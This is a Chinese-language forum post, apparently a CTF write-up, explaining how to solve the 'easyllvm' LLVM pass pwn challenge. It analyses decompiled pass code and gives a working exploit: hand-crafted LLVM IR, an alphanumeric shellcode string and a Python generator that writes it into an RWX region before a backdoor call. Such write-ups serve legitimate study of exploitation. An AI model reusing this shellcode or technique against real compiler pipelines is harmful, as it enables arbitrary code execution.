首页
社区
课程
招聘
[原创]easyllvm-pwn解析
发表于: 2025-8-21 15:55 564

[原创]easyllvm-pwn解析

2025-8-21 15:55
564

今天清空之前留下来的题,碰到这道llvm pass pwn,刚好之前学习了这个怎么做

程序分析

首先就是找函数runOnFunction,这道题没有去除符号,直接就能找到
图片描述
然后开始分析这个run的逻辑

1
2
v2 = (llvm::LoopInfoWrapperPass *)llvm::Pass::getAnalysis<llvm::LoopInfoWrapperPass>((__int64)this);
LoopInfo = llvm::LoopInfoWrapperPass::getLoopInfo(v2);

这个应该是先获取中间码的Loop循环信息,因为第一段分析中while循环也没用到,等之后分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
if ( (llvm::operator!=(v108, &v107) & 1) != 0 )
  {
    v106 = (llvm::BasicBlock *)llvm::ilist_iterator<llvm::ilist_detail::node_options<llvm::BasicBlock,false,false,void>,false,false>::operator*(v108);
    v105 = v106;
    v104 = llvm::BasicBlock::begin(v106);
    v103 = llvm::BasicBlock::end(v105);
    while ( 1 )
    {
      if ( (llvm::operator!=(&v104, &v103) & 1) == 0 )
      {
        llvm::ilist_iterator<llvm::ilist_detail::node_options<llvm::BasicBlock,false,false,void>,false,false>::operator++(v108);
        goto LABEL_2;
      }
      v102 = llvm::ilist_iterator<llvm::ilist_detail::node_options<llvm::Instruction,false,false,void>,false,false>::operator*(&v104);
      v101 = (llvm::CallBase *)llvm::dyn_cast<llvm::CallInst,llvm::Instruction>(v102);
      if ( v101 )
      {
        CalledFunction = (llvm::Value *)llvm::CallBase::getCalledFunction(v101);
        if ( CalledFunction )
          break;
      }
LABEL_33:
      llvm::ilist_iterator<llvm::ilist_detail::node_options<llvm::Instruction,false,false,void>,false,false>::operator++(&v104);
    }
    std::allocator<char>::allocator(v98);
    std::string::basic_string(v99, "easyllvm", v98);
    std::allocator<char>::~allocator(v98);
    RC4::RC4((__int64)v97, (__int64)v99);
    v95[0] = llvm::Value::getName(CalledFunction);
    v95[1] = v3;
    llvm::StringRef::str[abi:cxx11]((__int64)v96, (__int64)v95);
    RC4::encrypt(v94, v97, v96);
    std::basic_stringstream<char,std::char_traits<char>,std::allocator<char>>::basic_stringstream(v92);
    v91 = v94;
    v90 = std::string::begin(v94);
    v89 = std::string::end(v91);
    while ( (__gnu_cxx::operator!=<char *,std::string>(&v90, &v89) & 1) != 0 )
    {
      v88 = *(_BYTE *)__gnu_cxx::__normal_iterator<char *,std::string>::operator*(&v90);
      v29 = std::ostream::operator<<(&v93, std::hex);
      v87 = std::setw(2);
      v30 = std::operator<<<char,std::char_traits<char>>(v29, v87);
      v86 = std::setfill<char>(48LL);
      v4 = std::operator<<<char,std::char_traits<char>>(v30, v86);
      std::ostream::operator<<(v4, v88);
      __gnu_cxx::__normal_iterator<char *,std::string>::operator++(&v90);
    }
    std::basic_stringstream<char,std::char_traits<char>,std::allocator<char>>::str(v85, v92);
    if ( (std::operator==<char>(v85, "21021247") & 1) != 0 )// mmap
    {
      ArgOperand = llvm::CallBase::getArgOperand(v101, 1u);
      if ( llvm::dyn_cast<llvm::SExtInst,llvm::Value>(ArgOperand) )
      {
        v6 = llvm::CallBase::getArgOperand(v101, 1u);
        v83 = (llvm::UnaryInstruction *)llvm::dyn_cast<llvm::SExtInst,llvm::Value>(v6);
        Operand = llvm::UnaryInstruction::getOperand(v83, 0);
        v82 = (llvm::UnaryInstruction *)llvm::dyn_cast<llvm::LoadInst,llvm::Value>(Operand);
        if ( v82 )
        {
          v8 = (llvm::Value *)llvm::UnaryInstruction::getOperand(v82, 0);
          v81[0] = llvm::Value::getName(v8);
          v81[1] = v9;
          llvm::StringRef::StringRef((llvm::StringRef *)v80, ".addr");
          if ( (llvm::StringRef::contains(v81, v80[0], v80[1]) & 1) != 0 )
          {
            if ( mmap_addr )
            {
              v79 = 5;
LABEL_32:
              std::string::~string(v85);
              std::basic_stringstream<char,std::char_traits<char>,std::allocator<char>>::~basic_stringstream(v92);
              std::string::~string(v94);
              std::string::~string(v96);
              std::string::~string(v99);
              goto LABEL_33;
            }
            mmap_addr = (__int64 (*)(void))mmap(0LL, 0x1000uLL, 7, 33, 0, 0LL);
            if ( mmap_addr == (__int64 (*)(void))-1LL )
            {
              v10 = llvm::errs(0LL);
              llvm::raw_ostream::operator<<(v10, "mmap failed\n");
            }
            else
            {
              v11 = llvm::errs(0LL);
              llvm::raw_ostream::operator<<(v11, "mmap success\n");
            }
          }
        }
      }
    }

简单来说,这段就是分析调用的函数名,其中还用到了RC4加密,easyllvm为密钥,然后对函数名进行加密并于相应字符进行匹配,21021247对应的就是mmap,注意这里的mmap是自己写的exp文件中自定义的mmap函数。如果函数匹配成功,后续会检查函数的第二个参数首先是否是符号拓展指令(依照我的理解就是,第二个参数是否被符号拓展过),然后会继续检查参数是否是Load指令,全部符合的话就会获取这个变量名,如果是.addr就会执行mmap函数得到一块rwx区域。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
if ( (std::operator==<char>(v85, "2b0a077b4fe79c") & 1) != 0 )// getLine
    {
      v78 = -1;
      v12 = llvm::CallBase::getArgOperand(v101, 0);
      v13 = (llvm::ConstantInt *)llvm::dyn_cast<llvm::ConstantInt,llvm::Value>(v12);
      ZExtValue = llvm::ConstantInt::getZExtValue(v13);
      if ( ZExtValue >= 0x1000 )
      {
        v14 = llvm::errs(v13);
        llvm::raw_ostream::operator<<(v14, "offset is too large\n");
        v79 = 5;
        goto LABEL_32;
      }
      v15 = llvm::CallBase::getArgOperand(v101, 1u);
      v76 = (llvm::UnaryInstruction *)llvm::dyn_cast<llvm::LoadInst,llvm::Value>(v15);
      if ( v76 )
      {
        v15 = llvm::UnaryInstruction::getOperand(v76, 0);
        v75 = (llvm::User *)llvm::dyn_cast<llvm::GlobalValue,llvm::Value>(v15);
        if ( v75 )
        {
          v15 = llvm::User::getOperand(v75, 0);
          v74 = (llvm::ConstantInt *)llvm::dyn_cast<llvm::ConstantInt,llvm::Value>(v15);
          if ( v74 )
          {
            v15 = (__int64)v74;
            v78 = llvm::ConstantInt::getZExtValue(v74);
          }
        }
      }
      if ( v78 == -1 || (v15 = v78, !isalnum(v78)) || !mmap_addr )
      {
        v16 = llvm::errs((llvm *)v15);
        v17 = llvm::raw_ostream::operator<<(v16, v78);
        llvm::raw_ostream::operator<<(v17, "=> value is invalid\n");
        v79 = 5;
        goto LABEL_32;
      }
      *((_BYTE *)mmap_addr + ZExtValue) = v78;
    }
    v79 = 0;
    goto LABEL_32;
  }

接着就是getLine函数,也是两个参数,第一个是写入位置的偏移,必须是常量int类型;第二个首先在调用函数前有Load操作,然后还必须是全局类型的常量,之后还会对第二个参数进行检查,最关键的就是必须是数字或者字母,这里就会联想到纯数字字母类的shellcode,然后一次在偏移处写入一个字节

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
v73 = LoopInfo;
  v72 = llvm::LoopInfoBase<llvm::BasicBlock,llvm::Loop>::begin(LoopInfo);
  v71 = llvm::LoopInfoBase<llvm::BasicBlock,llvm::Loop>::end(v73);
  while ( (__gnu_cxx::operator!=<llvm::Loop * const*,std::vector<llvm::Loop *>>(&v72, &v71) & 1) != 0 )
  {
    v70 = *(_QWORD *)__gnu_cxx::__normal_iterator<llvm::Loop * const*,std::vector<llvm::Loop *>>::operator*(&v72);
    v68[0] = llvm::LoopBase<llvm::BasicBlock,llvm::Loop>::blocks(v70);
    v68[1] = v18;
    v69 = v68;
    v67 = (llvm::BasicBlock **)llvm::iterator_range<llvm::BasicBlock * const*>::begin(v68);
    v66 = llvm::iterator_range<llvm::BasicBlock * const*>::end(v69);
    while ( v67 != (llvm::BasicBlock **)v66 )
    {
      v65 = *v67;
      v64 = v65;
      v63 = llvm::BasicBlock::begin(v65);
      v62 = llvm::BasicBlock::end(v64);
      while ( (llvm::operator!=(&v63, &v62) & 1) != 0 )
      {
        v61 = llvm::ilist_iterator<llvm::ilist_detail::node_options<llvm::Instruction,false,false,void>,false,false>::operator*(&v63);
        v60 = v61;
        if ( (llvm::isa<llvm::SwitchInst,llvm::Instruction *>(&v60) & 1) != 0 )
        {
          v59 = llvm::dyn_cast<llvm::SwitchInst,llvm::Instruction>(v61);
          v19 = v59;
          llvm::SwitchInst::cases((llvm::SwitchInst *)v57);
          v58 = v57;
          v56[0] = llvm::iterator_range<llvm::SwitchInst::CaseIteratorImpl<llvm::SwitchInst::CaseHandle>>::begin(
                     v57,
                     v19);
          v56[1] = v20;
          v55[0] = llvm::iterator_range<llvm::SwitchInst::CaseIteratorImpl<llvm::SwitchInst::CaseHandle>>::end(v58);
          v55[1] = v21;
          while ( (llvm::iterator_facade_base<llvm::SwitchInst::CaseIteratorImpl<llvm::SwitchInst::CaseHandle>,std::random_access_iterator_tag,llvm::SwitchInst::CaseHandle const,long,llvm::SwitchInst::CaseHandle const*,llvm::SwitchInst::CaseHandle const&>::operator!=(
                     v56,
                     v55) & 1) != 0 )
          {
            v22 = (_QWORD *)llvm::SwitchInst::CaseIteratorImpl<llvm::SwitchInst::CaseHandle>::operator*(v56);
            v54[0] = *v22;
            v54[1] = v22[1];
            CaseValue = llvm::SwitchInst::CaseHandleImpl<llvm::SwitchInst,llvm::ConstantInt,llvm::BasicBlock>::getCaseValue(v54);
            v23 = (llvm::ConstantInt *)llvm::SwitchInst::CaseHandleImpl<llvm::SwitchInst,llvm::ConstantInt,llvm::BasicBlock>::getCaseValue(v54);
            if ( llvm::ConstantInt::getZExtValue(v23) == 102 && mmap_addr )
            {
              CaseSuccessor = (llvm::BasicBlock *)llvm::SwitchInst::CaseHandleImpl<llvm::SwitchInst,llvm::ConstantInt,llvm::BasicBlock>::getCaseSuccessor(v54);
              v51 = CaseSuccessor;
              v50 = llvm::BasicBlock::begin(CaseSuccessor);
              v49 = llvm::BasicBlock::end(v51);
              while ( (llvm::operator!=(&v50, &v49) & 1) != 0 )
              {
                v48 = llvm::ilist_iterator<llvm::ilist_detail::node_options<llvm::Instruction,false,false,void>,false,false>::operator*(&v50);
                v47 = (llvm::CallBase *)llvm::dyn_cast<llvm::CallInst,llvm::Instruction>(v48);
                if ( v47 )
                {
                  v46 = (llvm::Value *)llvm::CallBase::getCalledFunction(v47);
                  if ( v46 )
                  {
                    std::allocator<char>::allocator(v44);
                    std::string::basic_string(v45, "easyllvm", v44);
                    std::allocator<char>::~allocator(v44);
                    RC4::RC4((__int64)v43, (__int64)v45);
                    v41[0] = llvm::Value::getName(v46);
                    v41[1] = v24;
                    llvm::StringRef::str[abi:cxx11]((__int64)v42, (__int64)v41);
                    RC4::encrypt(v40, v43, v42);
                    std::basic_stringstream<char,std::char_traits<char>,std::allocator<char>>::basic_stringstream(v38);
                    v37 = v40;
                    v36 = std::string::begin(v40);
                    v35 = std::string::end(v37);
                    while ( (__gnu_cxx::operator!=<char *,std::string>(&v36, &v35) & 1) != 0 )
                    {
                      v34 = *(_BYTE *)__gnu_cxx::__normal_iterator<char *,std::string>::operator*(&v36);
                      v27 = std::ostream::operator<<(&v39, std::hex);
                      v33 = std::setw(2);
                      v28 = std::operator<<<char,std::char_traits<char>>(v27, v33);
                      v32 = std::setfill<char>(48LL);
                      v25 = std::operator<<<char,std::char_traits<char>>(v28, v32);
                      std::ostream::operator<<(v25, v34);
                      __gnu_cxx::__normal_iterator<char *,std::string>::operator++(&v36);
                    }
                    std::basic_stringstream<char,std::char_traits<char>,std::allocator<char>>::str(v31, v38);
                    if ( (std::operator==<char>(v31, "2e0e105c62e69688") & 1) != 0 )// backDoor
                      mmap_addr();

第三步就是这个backDoor函数了,首先他用到了上文收集的Loop信息,只有存在Loop才能进行到下面的处理中,而且这里有一个比较恶心的地方就是
llvm::isa<llvm::SwitchInst,llvm::Instruction *>(&v60) & 1) != 0
其中v60就是loop循环,这个要求switch指令必须就在loop开始处,我使用while循环时就始终过不去,后面就直接在ll文件上进行修改,之后还要检查case的值是否为102,只有是102才能执行shellcode

处理思路

mmap这一步很好通过,重点就是在getLinebackDoor
getLine就是根据要求,要有Load指令,要有全局常量,就先定义一个全局常量,然后用load把它加载到函数参数中,这样就能通过

1
2
3
@global_char_0 = dso_local constant i8 80, align 1
%6 = load i8, i8* @global_char_0, align 1
call void @getLine(i32 noundef 0, i8 noundef signext %6)

backDoor比较难,也试试了许多次才找到正确的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
store i32 102, i32* %3, align 4
  br label %163
 
163:                                              ; preds = %167, %0
  %164 = load i32, i32* %3, align 4
  switch i32 %164, label %167 [ i32 102, label %165 ]
 
165:                                              ; preds = %163
  call void (...) @backDoor()
  store i32 0, i32* %3, align 4
  br label %166
 
166:                                              ; preds = %165
  br label %163, !llvm.loop !6
 
167:                                              ; preds = %163
  ret i32 0

通过这样编写就能让Pass在循环的头部就找到switch指令,之后获得case值,执行shellcode

shellcode

我是直接用alpha3生成的shellcode,然后写一个python脚本生成getLine所需要的指令语句,然后复制粘贴进去
如下

1
2
3
4
5
6
p = "Ph0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H3S2y0Y0O0n0z01340d2F4y8P115l1n0J0h0a070t"
for i in range(len(p)):
    print(f"@global_char_{i} = dso_local constant i8 {ord(p[i])}, align 1")
for i in range(6,6+157):
    print(f"  %{i} = load i8, i8* @global_char_{i-6}, align 1")
    print(f"  call void @getLine(i32 noundef {i-6}, i8 noundef signext %{i})")

注意事项

1.这里需要注意的是,那个.addr变量不能在c文件中被编译,你先用其他变量名代替,编译得到中间码文件之后再替换回来
2.shellcode不一定能打通,所以多试几个就行
个人分析可能有误,烦请师傅们指出,在此先谢过各位师傅orz


[培训]Windows内核深度攻防:从Hook技术到Rootkit实战!

上传的附件:
收藏
免费 1
支持
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回